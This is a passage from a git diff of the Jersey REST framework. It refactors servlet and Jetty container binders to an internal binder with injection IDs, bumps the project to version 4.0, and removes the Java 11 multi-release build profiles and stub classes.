+                    ? Collections.emptyList() : List.of(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX));
+        }
+
+        @Override
+        public ServletContext getServletContext() {
+            return null;
+        }
+    }
+}
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
index e6f5155..c2c5bf4 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/WebComponent.java
@@ -57,8 +57,9 @@
 import jakarta.servlet.http.HttpServletResponse;
 
 import org.glassfish.jersey.innate.io.InputStreamWrapper;
-import org.glassfish.jersey.internal.ServiceFinderBinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.ServiceFinderBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
@@ -163,9 +164,11 @@
         }
     }
 
-    private final class WebComponentBinder extends AbstractBinder {
+    static final class WebComponentBinder extends InternalBinder {
 
         private final Map<String, Object> applicationProperties;
+        private final WebConfig webConfig;
+        private final boolean requestResponseBindingExternalized;
 
         /**
          * Create binder for {@link WebComponent} passing a map of properties to determine whether certain features are allowed
@@ -174,8 +177,13 @@
          *
          * @param applicationProperties map of properties to determine whether certain features are allowed or not.
          */
-        private WebComponentBinder(final Map<String, Object> applicationProperties) {
+        /* package */ WebComponentBinder(
+                final Map<String, Object> applicationProperties,
+                final WebConfig webComponent,
+                final boolean requestResponseBindingExternalized) {
             this.applicationProperties = applicationProperties;
+            this.webConfig = webComponent;
+            this.requestResponseBindingExternalized = requestResponseBindingExternalized;
         }
 
         @Override
@@ -185,45 +193,62 @@
 
                 // request
                 bindFactory(HttpServletRequestReferencingFactory.class).to(HttpServletRequest.class)
-                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_REQUEST.id());
 
                 bindFactory(ReferencingFactory.referenceFactory())
-                        .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class);
+                        .to(new GenericType<Ref<HttpServletRequest>>() {}).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_REQUEST_REF.id());
 
                 // response
                 bindFactory(HttpServletResponseReferencingFactory.class).to(HttpServletResponse.class)
-                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class);
+                        .proxy(true).proxyForSameScope(false).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_RESPONSE.id());
                 bindFactory(ReferencingFactory.referenceFactory())
-                        .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class);
+                        .to(new GenericType<Ref<HttpServletResponse>>() {}).in(RequestScoped.class)
+                        .id(InjectionIds.SERVLET_HTTP_SERVLET_RESPONSE_REF.id());
             }
 
-            bindFactory(webConfig::getServletContext).to(ServletContext.class).in(Singleton.class);
+            bindFactory(webConfig::getServletContext).to(ServletContext.class).in(Singleton.class)
+                    .id(InjectionIds.SERVLET_SERVLET_CONTEXT.id());
 
             final ServletConfig servletConfig = webConfig.getServletConfig();
             if (webConfig.getConfigType() == WebConfig.ConfigType.ServletConfig) {
-                bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class);
+                bindFactory(() -> servletConfig).to(ServletConfig.class).in(Singleton.class)
+                        .id(InjectionIds.SERVLET_SERVLET_CONFIG.id());
 
                 // @PersistenceUnit
-                final Enumeration initParams = servletConfig.getInitParameterNames();
-                while (initParams.hasMoreElements()) {
-                    final String initParamName = (String) initParams.nextElement();
+                if (isJPA()) {
+                    final Enumeration initParams = servletConfig.getInitParameterNames();
+                    while (initParams.hasMoreElements()) {
+                        final String initParamName = (String) initParams.nextElement();
 
-                    if (initParamName.startsWith(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX)) {
-                        install(new PersistenceUnitBinder(servletConfig));
-                        break;
+                        if (initParamName.startsWith(PersistenceUnitBinder.PERSISTENCE_UNIT_PREFIX)) {
+                            install(new PersistenceUnitBinder(servletConfig));
+                            break;
+                        }
                     }
                 }
             } else {
-                bindFactory(webConfig::getFilterConfig).to(FilterConfig.class).in(Singleton.class);
+                bindFactory(webConfig::getFilterConfig).to(FilterConfig.class).in(Singleton.class)
+                        .id(InjectionIds.SERVLET_FILTER_CONFIG.id());
             }
 
-            bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class);
+            bindFactory(() -> webConfig).to(WebConfig.class).in(Singleton.class)
+                    .id(InjectionIds.SERVLET_WEB_CONFIG.id());
 
             install(new ServiceFinderBinder<>(AsyncContextDelegateProvider.class, applicationProperties, RuntimeType.SERVER));
             install(new ServiceFinderBinder<>(FilterUrlMappingsProvider.class, applicationProperties, RuntimeType.SERVER));
         }
     }
 
+    /* Checks the JPA on CP */
+    /* package */ static boolean isJPA() {
+        @SuppressWarnings("removal")
+        Class<?> clz = AccessController.doPrivileged(ReflectionHelper.classForNamePA("jakarta.persistence.PersistenceUnit"));
+        return clz != null;
+    }
+
     /**
      * Jersey application handler.
      */
@@ -305,7 +330,8 @@
         requestScopedInitializer = rsiProvider != null ? rsiProvider : DEFAULT_REQUEST_SCOPE_INITIALIZER_PROVIDER;
         requestResponseBindingExternalized = rrbExternalized;
 
-        final AbstractBinder webComponentBinder = new WebComponentBinder(resourceConfig.getProperties());
+        final InternalBinder webComponentBinder =
+                new WebComponentBinder(resourceConfig.getProperties(), webConfig, requestResponseBindingExternalized);
         resourceConfig.register(webComponentBinder);
 
         final Object locator = webConfig.getServletContext()
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
index 04910f0..077fec1 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/PersistenceUnitBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,8 @@
 import jakarta.persistence.PersistenceUnit;
 import jakarta.servlet.ServletConfig;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.server.ContainerException;
@@ -38,7 +39,7 @@
  *
  * @author Michal Gajdos
  */
-public class PersistenceUnitBinder extends AbstractBinder {
+public class PersistenceUnitBinder extends InternalBinder {
 
     private final ServletConfig servletConfig;
 
@@ -110,6 +111,7 @@
     @Override
     protected void configure() {
         bind(new PersistenceUnitInjectionResolver(servletConfig))
-                .to(new GenericType<InjectionResolver<PersistenceUnit>>() {});
+                .to(new GenericType<InjectionResolver<PersistenceUnit>>() {})
+                .id(InjectionIds.SERVLET_PERSISTANCE_UNIT_INJECTION_RESOLVER.id());
     }
 }
diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
index d66129e..93ada47 100644
--- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
+++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/spi/FilterUrlMappingsProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,7 +20,7 @@
 import java.util.List;
 
 /**
- * Provides an access to context path from the filter configuration.
+ * Provides access to context path from the filter configuration.
  *
  * @author Adam Lindenthal
  */
diff --git a/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization b/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
new file mode 100644
index 0000000..6bbf725
--- /dev/null
+++ b/containers/jersey-servlet-core/src/main/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -0,0 +1 @@
+org.glassfish.jersey.servlet.ServletBootstrapPreinitialization
\ No newline at end of file
diff --git a/containers/jersey-servlet/pom.xml b/containers/jersey-servlet/pom.xml
index 21adf8c..7fb9b84 100644
--- a/containers/jersey-servlet/pom.xml
+++ b/containers/jersey-servlet/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.containers</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-servlet</artifactId>
@@ -74,8 +74,9 @@
                     <instructions>
                         <!-- Note: When you're changing these properties change them also in bundles/jax-rs-ri/bundle/pom.xml. -->
                         <Import-Package>
-                            jakarta.servlet.*;version="[5.0,7.0)",
+                            jakarta.servlet.*;version="[6.0,7.0)",
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/containers/jetty-http/pom.xml b/containers/jetty-http/pom.xml
index 52cfe67..78f0af1 100644
--- a/containers/jetty-http/pom.xml
+++ b/containers/jetty-http/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http</artifactId>
@@ -32,13 +32,6 @@
 
     <description>Jetty Http Container</description>
 
-    <properties>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
-    </properties>
-
     <dependencies>
         <dependency>
             <groupId>jakarta.inject</groupId>
@@ -85,8 +78,8 @@
             <scope>provided</scope>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
+            <groupId>org.apache.httpcomponents.client5</groupId>
+            <artifactId>httpclient5</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -131,144 +124,4 @@
         </resources>
     </build>
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/JettyHttpContainer.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
similarity index 99%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
index c555e92..fbaeb41 100644
--- a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -47,8 +47,8 @@
 import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.util.Callback;
 import org.eclipse.jetty.util.thread.Scheduler;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.MapPropertiesDelegate;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.ReferencingFactory;
 import org.glassfish.jersey.internal.util.ExtendedLogger;
 import org.glassfish.jersey.internal.util.collection.Ref;
@@ -119,7 +119,7 @@
      * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via
      * {@link jakarta.inject.Provider injection provider}.
      */
-    private static class JettyBinder extends AbstractBinder {
+    private static class JettyBinder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
similarity index 100%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
index 2e8b5c5..dcad978 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,8 +19,6 @@
 import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.core.Application;
 
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
 import org.glassfish.jersey.server.spi.ContainerProvider;
 
 /**
@@ -34,9 +32,6 @@
     public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
     @Override
     public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainer(application));
         }
@@ -45,9 +40,6 @@
 
     public <T> T createContainer(final Class<T> type, final Application application,
                                  Object parentContext) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
             return type.cast(new JettyHttpContainer(application, parentContext));
         }
diff --git a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
similarity index 98%
rename from containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
rename to containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
index 9734342..5dd1bd6 100644
--- a/containers/jetty-http/src/main/java17/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
diff --git a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
index 5022fee..25cc6a1 100644
--- a/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
+++ b/containers/jetty-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Markus KARG. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -21,8 +21,6 @@
 import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.core.Application;
 
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
 import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
 import org.glassfish.jersey.server.spi.WebServer;
 import org.glassfish.jersey.server.spi.WebServerProvider;
@@ -39,9 +37,6 @@
     @Override
     public <T extends WebServer> T createServer(final Class<T> type, final Application application,
                                                       final SeBootstrap.Configuration configuration) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
                 ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
                 : null;
@@ -50,9 +45,6 @@
     @Override
     public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
                                                 final SeBootstrap.Configuration configuration) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
         return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
                 ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
                 : null;
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
index 3d519b6..e69de29 100644
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -1,84 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.eclipse.jetty.server.Handler;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-/**
- * Jersey {@code Container} implementation based on Jetty {@link Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Libor Kramolis
- * @author Marek Potociar
- */
-public final class JettyHttpContainer implements Container {
-
-    @Override
-    public ResourceConfig getConfiguration() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public void reload(final ResourceConfig configuration) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    @Override
-    public ApplicationHandler getApplicationHandler() {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application   JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     */
-    JettyHttpContainer(final Application application, final Object parentContext) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Application application) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Class<? extends Application> applicationClass) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-
-}
diff --git a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index 61e1977..0000000
--- a/containers/jetty-http/src/main/java11/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,229 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-import java.net.URI;
-
-/**
- * Factory for creating and starting Jetty server handlers. This returns
- * a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link Server#stop()} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
- * This will be used to decrypt and encrypt information sent over the
- * connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerFactory {
-
-    private JettyHttpContainerFactory() {
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri) throws ProcessingException {
-        return createServer(uri, null, null, true);
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
-        return createServer(uri, null, null, start);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri    the URI to create the http server. The URI scheme must be
-     *               equal to "http". The URI user information and host
-     *               are ignored If the URI port is not present then port 80 will be
-     *               used. The URI path, query and fragment components are ignored.
-     * @param config the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config)
-            throws ProcessingException {
-
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, null, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
